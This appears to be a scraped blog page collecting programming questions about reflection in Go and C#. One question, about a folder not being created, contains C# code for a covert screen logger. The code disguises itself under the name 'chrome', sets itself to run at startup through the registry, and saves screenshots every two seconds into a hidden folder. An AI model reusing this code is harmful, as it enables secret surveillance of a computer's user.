mardi 22 août 2017

Go: how to use reflection to replace imported variables and functions

Say I have a code snippet that should be covered with the unit-tests:

func selfIntroductionMessage(ctx context.Context, errorC chan error) *routing.Message {
    msg := &routing.Message{}
    if emissionTime, err := ptypes.TimestampProto(time.Now()); err != nil {
        select {
        case errorC <- fmt.Errorf("Couldn't convert time to google.protobuf.Timestamp: %v", err):
        case <-ctx.Done():
        }
        return nil
    } else {
        msg.EmissionTime = emissionTime
    }
    return msg
}

Hopefully ptypes.TimestampProto(time.Now()) will never fail under normal conditions, but since ptypes.TimestampProto always returns error return, it's worth checking it.

The common approach to solve this problem is to mock every dependency: time.Now() should be replaced with the function of same interface. But when one starts to mock standard library, application code quickly becomes ugly.

So I wonder if it's possible to replace time.Now() implementation to erroneous for unit-testing purposes using the reflect package.





How to Convert Types Using Reflection

Please consider this Code:

string propertyValue = "1";
PropertyInfo info = obj.GetType().GetProperty("MyProperty");
info.SetValue(detail, Convert.ChangeType(propertyValue, info.PropertyType), null);

The problem is type of info.PropertyType is System.Byte? and when the line 3 wants to be executed I got this Error:

"Invalid cast from 'System.String' to 'System.Nullable`1[[System.Byte, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]'."}

How I resolve this problem?

Thanks





What's wrong with my code? No errors are showing yet it's not creating a folder

As you can see, part of my code entails it creating a directory/folder if it does not already exist. I've had this working before, but recently it just stopped working. Why is that? I'm using Visual Studio 2017. Thanks! (It won't let me post my question with mostly code, but I have nothing else to say so I'm typing here randomly. Please ignore.)

Here is my code:

using System;
using System.Threading;
using System.Reflection;
using System.IO;

namespace chrome
{
    static class Program
    {
        static void Main()
        {
            //-----this code will make your program to automatically execute as computer starts----
            try
            {
                Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                Assembly curAssembly = Assembly.GetExecutingAssembly();
                key.SetValue(curAssembly.GetName().Name, curAssembly.Location);
                Console.WriteLine(curAssembly.GetName());

            }
            catch { }
            //------------------

            //------------screenshot  loop takes screenshots after 1 min-----------
            int n = 0;
            while (n == 0)
            {
                try
                {
                    Thread.Sleep(2000);
                    OnTimedEvent();
                }
                catch { }
            }
            //-------------------------

        }// main body ends !

        public static string st = "";
        public static string date = "";
        public static string month = "";
        public static string year = "";
        public static string time = "";
        public static string hour = "";
        public static string min = "";
        public static string sec = "";


        private static void OnTimedEvent()
        {
            st = DateTime.Today.Date.ToString();
            time = DateTime.Now.TimeOfDay.ToString();

            hour = DateTime.Now.Hour.ToString();
            min = DateTime.Now.Minute.ToString();
            sec = DateTime.Now.Second.ToString();

            date = DateTime.Today.Day.ToString();
            month = DateTime.Today.Month.ToString();
            year = DateTime.Today.Year.ToString();

            Console.WriteLine("The Elapsed event was raised at {0}_{1}_{2} at time {3}_{4}_{5} ", date, month, year, hour, min, sec);

            Bitmap memoryImage;
            memoryImage = new Bitmap(1366, 768);
            Size s = new Size(memoryImage.Width, memoryImage.Height);

            // Create graphics
            Graphics memoryGraphics = Graphics.FromImage(memoryImage);
            // Copy data from screen
            memoryGraphics.CopyFromScreen(0, 0, 0, 0, s);
            string str = "";

            //------------creating directory--------
            if (Directory.Exists("C:\\Intel\\dsp"))
            {
                Console.WriteLine("directory exits");
            }
            else
            {
                Directory.CreateDirectory("C:\\Intel\\dsp");
                File.SetAttributes("C:\\Intel\\dsp", FileAttributes.Hidden);
                Console.WriteLine("new directory created");
            }
            //---------------------------------------

            str = string.Format("C:\\Intel\\dsp\\{0}_{1}.png", date + month + year, hour + min + sec);

            //------------

            try
            {
                memoryImage.Save(str);
            }
            catch (Exception er)
            {
                Console.WriteLine("Sorry, there was an error: " + er.Message);
            }
        }

        //---------------------------------------------------------

        internal class Graphics
        {
            internal static Graphics FromImage(Bitmap memoryImage)
            {
                throw new NotImplementedException();
            }

            internal void CopyFromScreen(int v1, int v2, int v3, int v4, Size s)
            {
                throw new NotImplementedException();
            }
        }

        internal class Size
        {
            private object width;
            private object height;

            public Size(object width, object height)
            {
                this.width = width;
                this.height = height;
            }
        }

        internal class Bitmap
        {
            private int v1;
            private int v2;

            public Bitmap(int v1, int v2)
            {
                this.v1 = v1;
                this.v2 = v2;
            }

            public object Width { get; internal set; }
            public object Height { get; internal set; }

            internal void Save(string str)
            {
                throw new NotImplementedException();
            }
        }
    }
}




lundi 21 août 2017

Reflection to walk every string property in class

I want to store user's input on my database. The user can write texts with html tags to style his texts.

I want to remove potential malware like javascript and so on. Instead of checking every string property in the class by hand, I want an object-extension which walks through every string property and replace potential malware...

My approach supports:

class TestClassStringProperties
{
    public TestClassStringProperties()
    {
        MyProp = "123";
    }

    public string MyProp { get; set; }
}

class TestClassNestedProperties
{
    public TestClassNestedProperties()
    {
        NestedType = new TestClassStringProperties();
        MyProp = "123";
    }

    public string MyProp { get; set; }
    public TestClassStringProperties NestedType { get; set; }
}

class TestWithCollectionOfNestedProperties
{
    public TestWithCollectionOfNestedProperties()
    {
        NestedPropertiesCollection = new List<TestClassStringProperties>();
    }

    public ICollection<TestClassStringProperties> NestedPropertiesCollection { get; set; }
}

But it fails with this:

class TestClassWithStringCollection
{
    public TestClassWithStringCollection()
    {
        Strings = new List<string> {"123", "123", "123", "123"};
    }

    public ICollection<string> Strings { get; set; }
}

Extensionmethod:

public static class ObjectExtension
{
    private static HashSet<int> _vistedNestedTypes;

    public static void SanitizeJavaScriptFromAllPublicStringProps(this  object obj)
    {
        _vistedNestedTypes = new HashSet<int>();
        Sanitize(obj);
    }

    private static void Sanitize(object obj)
    {
        var properties = obj.GetType()
            .GetProperties(BindingFlags.Public | BindingFlags.Instance);
        if (ProduceStackOverflow(obj))
            return;
        foreach (var property in properties)
        {
            CollectionBehaviour(obj, property);
            if (property.PropertyType.GetTypeInfo().IsClass)
                if (property.PropertyType == typeof(string))
                {
                    // If not writable then cannot null it; if not readable then cannot check it's value
                    if (!property.CanWrite || !property.CanRead)
                        continue;
                    var mget = property.GetGetMethod(false);
                    var mset = property.GetSetMethod(false);

                    // Get and set methods have to be public
                    if (mget == null || mset == null)
                        continue;
                    property.SetValue(obj, "HACKED"); // I remove evil code at this place...
                }
                else
                {
                    NestedTypeBehaviour(obj, property);
                }
        }
    }

    private static void NestedTypeBehaviour(object obj, PropertyInfo p)
    {
        var pp = p.GetValue(obj, null);
        if (pp != null && !_vistedNestedTypes.Contains(pp.GetHashCode()))
        {
            Sanitize(pp);
            _vistedNestedTypes.Add(pp.GetHashCode());
        }
    }

    private static void CollectionBehaviour(object obj, PropertyInfo p)
    {
        if (typeof(IEnumerable<object>).IsAssignableFrom(p.PropertyType))
        {
            var items = (IEnumerable) p.GetValue(obj, null);
            var enumerable = items as IList<object> ?? items.Cast<object>().ToList();
            var cnt = enumerable.Count;
            for (int i = 0; i < cnt; i++)
            {
                var a = enumerable[i];
                Sanitize(a);
                enumerable[i] = a;
            }
        }
    }

    private static bool ProduceStackOverflow(object obj)
    {
        if (!_vistedNestedTypes.Contains(obj.GetHashCode()))
        {
            _vistedNestedTypes.Add(obj.GetHashCode());
            return false;
        }
        return true;
    }
}

After executing the extension, my strings are "123" in the collection and not "HACKED" as I would expect.

Thank you in advance.





Using reflection with class library exported as nuget asp.net core

I created a class library in .net core and and hosted class library on my local nuget server.Class library contains controllers and some other classes to be used by reflection.

I consumed this class library in my asp.net core MVC project.By installing it as nuget refrence. Now my MVC project builds well but at runtime I am not able to find my contoller or other classes defined in class library.

weird behavior when I copy dll of my class library to my MVC projects bin\Debug\netcoreapp1.1 directory, reflection starts working.

this is happening when i run my application in debug mode on IIS Express and I am using .net core 1.1 on Visual studio 2015

Question: Is there a way to extract nuget packages in to bin\Debug\netcoreapp1.1 on build. Question: Do I need to added some configuration so that Reflection look for dll in respective nuget package location.





System.Runtime.Remoting.RemotingException invoking method of an external assembly

I'm playing with reflection and remoting for the first time. I have an assembly present on the machine, that I have read-only access to the source code of, and I want to invoke one of its methods directly. This is my code:

        AppDomain NewDomain = AppDomain.CreateDomain("NewDomain");
        try
        {
            var objectHandle = NewDomain.CreateInstanceFrom(@"C:\Program Files (x86)\xxx\ExistingAssembly.dll", "RemoteNamespace.RemoteClass");
            var localObject = (RemoteNamespace.ISharedInterface)objectHandle.Unwrap();
            File.Copy(localObject.StrTargetMethod(arg1),
                Path.Combine(logDir, logfile), true);
        }
        finally
        {
            AppDomain.Unload(NewDomain);
        }

At the first line of the try block, the CreateInstanceFrom method throws an UnhandledException: System.Runtime.Remoting.RemotingException: Cannot load type 'RemoteNamespace.RemoteClass, RemoteNamespace, Version=1.2.0.8, Culture=neutral, PublicKeyToken=xxxxxxxxxx'.

EDIT: I'm now trying this:

var assembly = Assembly.LoadFrom(@C:\Program Files (x86)\xxx\ExistingAssembly.dll");
var localObject = (ISharedInterface)assembly.CreateInstance("RemoteNamespace.RemoteClass");

but I'm getting the same error being thrown at assembly.CreateInstance().





How to extract the class JObject represent in json.net?

I'm deserializing a JSON string to a type that's not known in compile time, so I made use of the overloaded JsonConvert.DeserializeObject method in json.net library:

    public static object GetJsonType(string json, Type type)
    {
        var logObject = JsonConvert.DeserializeObject(json, type);
        return logObject;
    }

I call it like so:

Type jsonType = Type.GetType(log.JSONClassName); 
var obj = AuditHelper.GetJsonType(log.ObjectJson, jsonType);

and then I create an instance of a WPF window :

var formType = Type.GetType("DiERP." + log.FormName);
var form = Activator.CreateInstance(formType, obj);

and this is the constructor:

public FrmControlCenters(object jControlCenters)
{
    //can't cast it to the class it represent:
    //var ob = (JClsTbControlCenters)jControlCenters;

}

in this constructor I know the type of the jControlCenters , the problem is that I can't cast it to that type. I'm pretty know a little about the JObject (the type passed to the constructor) , but can't use it .. so my question how to get the type I want from it?